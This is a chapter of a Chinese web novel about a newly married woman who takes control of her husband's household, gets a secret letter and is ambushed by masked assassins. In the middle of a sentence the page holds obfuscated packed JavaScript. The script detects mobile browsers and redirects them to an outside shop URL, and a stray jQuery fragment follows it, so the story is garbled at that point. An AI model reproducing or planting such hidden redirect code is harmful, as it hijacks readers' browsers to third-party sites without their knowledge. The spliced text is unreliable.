文趣网 > 其他小说 > 与宿敌他哥契约成婚后 > 18. 第18章
    白府近日格外安稳。

    安稳得甚至有几分诡异。

    自归宁那日惊闻白清朗归京的消息,一晃近两旬时日流过,府中日日风平浪静,无半分波澜。

    孟知华这些日子格外安分,日日待在院内,足不出户。

    桌案上摊着林忠此前送来的那厚厚一叠中馈台账,满是朱墨小笔随手的勾画。

    她日日夜夜埋首钻研府中账目,俨然一副潜心打理家事的姿态。

    可这份勤勉落在府中下人的眼里,却渐渐变了味道。

    起初众人见她看得如此仔细,还心存敬畏,觉着新主母初掌中馈就事事上心,是个严厉的主子。

    可日子一日日过去,台账翻来覆去不见半点举措,账目勾画密密麻麻,却始终没有传出半分人事调动或规矩革新的命令。

    府里的风言风语,便悄悄在廊下、后厨、偏院各处蔓延开来。

    茶余饭后,仆婢们三五扎堆,交头接耳。

    “我瞧着少夫人也就是做做样子罢了,到底是闺阁里娇养出来的,能懂些什么。”

    “看她日日对着册子苦读,也没见她召管事问话,有个鸡毛用,怕是连账目盈亏都看不明白。”

    “想来之前主动要接管中馈,不过是新婚装装体面,撑撑主母的架子,根本没真打算整治咱们罢。”

    “那咱们也就照旧度日便是,想来也不会有什么大变动,该咋地还是咋地就得了,大少爷来了几年都懒得管的事,她一个新妇管得着不成?”

    细碎的议论声轻飘飘散开。

    在这帮下人眼里,这位新进门的大少夫人,已然成了个空有皮囊,不通实务的草包美人。

    这些嚼舌根的话,孟知华尽数都让绿绮打听回来了。

    近二十日的按兵不动,她除了熟习台账,让绿绮去打听这些风声,更是在等一个人的消息。

    白清畅。

    可日子一天天推移,他那边仍旧半点音讯皆无。

    孟知华指尖摩挲着账册边角,心底暗自思忖。

    难不成是白清畅出尔反尔,拿了银钱却不愿办事,打算彻底食言?

    还是说,他被盯得太紧,根本寻不到传信的机会?

    白清畅素来不甚靠谱,但眼下他尚需依托她的银钱周转,她更偏向后一种可能。

    只是这般长久僵持,于她而言太过被动。

    她不能主动寻白清畅,一旦主动联络,此前所有隐忍布局尽数作废,反倒容易落人口实,被白府的人察觉破绽。

    索性先借着这一本本台账,装出懵懂苦读的模样。

    一来掩人耳目,麻痹府中所有下人,让人以为她无能可欺,放下戒备;二来韬光养晦,静待时机。

    正暗自思索间,房门轻悄推开,绿绮端着一盏温茶入内,小脸愤愤不平,憋着一股闷气。

    她将茶盏轻轻放在桌案上,委屈巴巴地低声开口:“少夫人,方才奴婢去后厨取点心,又听见几个管事嬷嬷闲谈……她们说、说您就是个摆样子的草包主母,成不了什么气候。”

    绿绮越说越气,小脸涨得通红:“她们也太过分了!您日日伏案核对账目,半点不曾懈怠,她们不懂您的苦心,反倒私下肆意编排!奴婢想理论,但您嘱咐过,不能去当众争执,只能生生忍了下来。”

    自打随小姐入了白府,她心里一直憋着委屈。

    喊了十几年的小姐,如今却要跟着白府的人改称少夫人,仿佛亲近的姐姐要分予他人。

    纵使她自知不配高攀小姐,但也见不得这些人诋毁她最尊敬的人。

    孟知华闻言,抬眸看向气鼓鼓的小丫鬟,眼底没有半分愠怒,反倒漫起一抹浅淡的笑意,从容淡然。

    她抬手端起温茶,轻轻抿了一口,语气轻浅随意:“这些话,外头传得很广了吧?”

    绿绮重重点头,委屈又无奈:“近来越传越凶,府里大半下人都在私下议论,只是没人敢当着大少爷和您的面说罢了。”

    “那就够了,不想等了。”

    孟知华放下茶盏,眸光清亮,眼底藏着一丝胸有成竹的笃定,还不忘顺带捏捏她的小脸,安慰道,“知道你受委屈了,日后会好的,我保证。”

    绿绮又很没出息地被她三言两语哄好了。没办法,一对上孟知华亮晶晶的眼睛,她就没招。

    孟知华褪去了连日的慵懒,眼底锋芒乍现,弯唇道:“绿绮,去传林忠过来。”

    人心松懈,戒备全无,便是她动手的最好时机。

    拖延至今,已经够了,没必要再继续装模作样了。

    “是!”

    绿绮见自家主子终于有动作了,瞬间一扫心头郁气,利落应声退下。

    不过片刻,林忠便步履沉稳地入了院内,依旧是那副刻板严肃的模样,垂手躬身行礼:“少夫人唤老奴前来,可是账册有何处需要核查修正?”

    这些日子,他也默认了外界传言,只当少夫人是看不懂账目,日日装模作样,心中早已笃定这位主母难当大任。

    孟知华抬眸看向他,依旧笑眯眯的,语气却带着不容置喙的主母威严:“账目暂且搁置。你即刻去通传全府上下所有仆婢、管事、杂役,传我命令。”

    “即日起,府中但凡觉得自己屈才、想要升职调任的,或是自觉倦怠、想要请辞离府的人,都尽数将姓名、缘由、诉求整理成册,三日内尽数呈报上来。”

    “愿走者,先别放行,将名单交与我。愿留者,也先将名单交与我,三日后我亲自考较。”

    话音落下,林忠骤然一怔。

    他愣在原地,一时有些反应不过来。

    她竟一出手,就是这般大刀阔斧的举措?

    府中不少下人扎根数代,盘根错节,早已养成油滑世故的做派。

    白清简虽也才来几年,但心里透亮,只是这些人未曾闹到他跟前,他公务繁忙,也懒得费心管束。

    可孟知华此番行事太过贸然,一动手便触碰到众人的切身利益,势必在府里掀起一场不小的风浪。

    孟知华淡淡扫过他错愕的面容,重复一遍:“按我的话,即刻通传全府,不得延误,不得隐瞒。”

    “……是,老奴遵命。”

    林忠心中纵然满是惊疑费解,可忆起白清简事前吩咐,凡事皆听少夫人调遣,纵有万般顾虑也无从置喙。他只得收敛心神,躬身领命,快步退下传令。

    转身之际仍忍不住暗自轻叹,不知白府经此一事会生出何等风波。

    命令一下,整个白府瞬间炸开了锅。

    原本私下窃语的下人们,彻底炸了锅,议论声从暗处挪到明处,人人心绪翻涌,心思各异。

    一部分人依旧心存侥幸,不以为然。

    另一部分却瞬间警觉起来,暗自深思利弊。

    而端坐屋内的孟知华,对门外三三两两偷看打探的下人视而不见,依旧慢条斯理焚香饮茶。

    打蛇要打七寸,整治内宅,必先整肃人心。

    就在全府上下议论不休的这几日,绿绮匆匆从外折返,手中捏着一个素色信封,神色急促。

    “少夫人,有消息了!是三房三少爷的密信!”

    孟知华眸光骤然一凝,立刻抬手示意她近身。

    绿绮快步上前,将字条递到她手中,低声道:“奴婢方才如常出去采买少夫人要的东西,三房下人悄悄辗转送来的。”

    孟知华迅速摊开字条,纸上字迹仓促

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729929|207370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    潦草,间杂多处错字,倒也勉强能辨清文意。

    信中写道,白清简近来对三房看管甚紧,白清畅全然找不到脱身之机。

    他已查到与白清朗有关内情,急于当面禀报,只能设法约孟知华借故出府,私下相见。

    文末与她相约今日申时,城郊旧茶肆碰面。

    孟知华看完,眼底神色沉了几分。

    白清简平日看着温润平和,管束手段竟却半点不曾松懈。

    想来白清畅行事向来散漫,白清简定然不愿他再像上次那般贸然闯府寻自己。

    她思索片刻,当即打定主意。

    白清朗归京在即,她必须尽快知晓所有消息,提前做好万全准备。

    这一趟出府,势在必行。

    但想起苏晚宁前些日子提到的赵侍郎的事,孟知华眸光微顿。

    “我要出门。”

    孟知华利落吩咐,“备一辆最低调的青绸小车,你随我同往,再带上孟府带来的两名侍卫随行护卫。叮嘱众人行事收敛,办完事即刻折返。”

    她不想因一个落魄失势的赵侍郎,耽误眼下最紧要的布局。带上侍卫,应当没问题了。

    申时将至,日头西斜,晚风微凉。

    孟知华寻了个散心透气的由头,低调出了白府。

    两名孟府随行侍卫贴身护在左右,皆是寻常家丁出身,身手扎实,护主稳妥,足以应对寻常无赖歹人。

    城郊僻静的官道太窄,过不了马车,孟知华只好下了车,带着一行人往旧茶肆方向行去。

    沿途行人稀少,草木幽深,格外清静。

    孟知华步履从容,心底细细盘算着待会儿要问询白清畅的事宜,全然没察觉到,四周草木阴影之中,藏着数道凛冽冰冷的视线。

    行至林荫深处,四周骤然一静。

    下一瞬,数十道黑衣人影骤然从树后、草丛间窜出,人人蒙面,手持利刃,动作狠戾利落,气息凶悍肃杀。

    孟知华灵巧地避开第一波攻击,从招招致命的招式就能看出,这群绝非寻常市井泼匪。

    再看他们的腰牌,分明是亡命搏杀的黑市死士组织!

    若真是赵侍郎所为,他这次是真的铁了心下死手!

    他到底想做什么?是杀了她,还是拿她去威胁白清简?

    对方人数众多,层层合围,瞬间阻断了所有退路。

    绿绮瞬间脸色惨白,快步挡在孟知华身前,声音发颤大喊:“有刺客!”

    两名孟府侍卫立刻挺身护主,拔刀迎战。

    可高下之分,一眼立判。

    孟府侍卫只是寻常家丁护卫,平日只做寻常防护,从未上过战场,更未历经血战。

    而这批死士,皆是刀口舔血,以命换钱的亡命之徒,招招致命,悍不畏死。

    兵刃相撞的脆响接连炸开,不过数个回合,两名侍卫便节节败退,身上皆挂了伤,渐渐支撑不住。

    局势瞬间凶险到极致。

    林荫杀机四起,寒意彻骨。

    不远处的树影之后,一道青墨身影静静伫立。

    沈禾全程紧随孟知华,隐匿在此,目睹了一切。

    他奉主子暗令,若少夫人出远门,需得寸步不离跟随,但不得被少夫人发现。

    眼见死士围杀,侍卫溃败,沈禾再顾不得隐匿的命令,身形骤然一闪,如离弦之箭般冲入战局。

    孟知华一怔,愕然望着那道身手利落的身影骤然冲入混战之中。

    这个平日看着憨厚老实的侍从,此刻身手凌厉迅猛,招式干净利落,进退有度,攻防兼备,竟是一身深藏不露的绝佳功夫!

    但更让她后怕的是,沈禾为何会如此及时出现?!